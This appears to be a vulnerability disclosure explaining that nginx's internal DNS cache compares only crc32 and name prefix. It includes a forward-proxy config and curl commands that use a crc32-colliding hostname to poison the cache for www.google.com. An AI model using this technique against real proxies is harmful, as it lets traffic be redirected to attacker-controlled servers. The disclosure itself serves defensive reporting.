nginx maintains an internal DNS cache for resolved domain names.
However, when searching the cache, nginx only checks that the crc32 of
the names match and that the shorter name is a prefix of the longer
name.  It does not check that the names are equal in length.

One way to exploit this is if nginx is configured as a forward proxy.
This is an atypical use case, but it has been discussed on the nginx
mailing list before[1].

For example, using this nginx.conf:

    events {
      worker_connections  1024;
    }

    http {
      resolver 4.2.2.4;
      server {
        listen 8080;
        location / {
proxy_pass http://$http_host$request_uri; 
        }
      }
    }

You can then run curl to see the cache poisoning in effect:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org' 
http://127.0.0.1:8080/ 
    
    
    Ho hum, nothing to see here, move along please.
    
    

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/ 
    
    
Oops, you shouldn't be asking me for http://www.google.com/! 
    
    

(Restart nginx and run only the second command to see its expected
behavior; i.e., actually fetching http://www.google.com/.) 

This works because crc32("www.google.com.") =crc32("www.google.com.9nyz309.crc32.dempsky.org."). The first request 
cached the IP address for www.google.com.9nyz309.crc32.dempsky.org, 
and then the second request used this IP address instead of querying
for www.google.com's real IP address because of the matching CRCs and 
the common prefix.

[1] http://marc.info/?l=nginx&m=125257590425747&w=2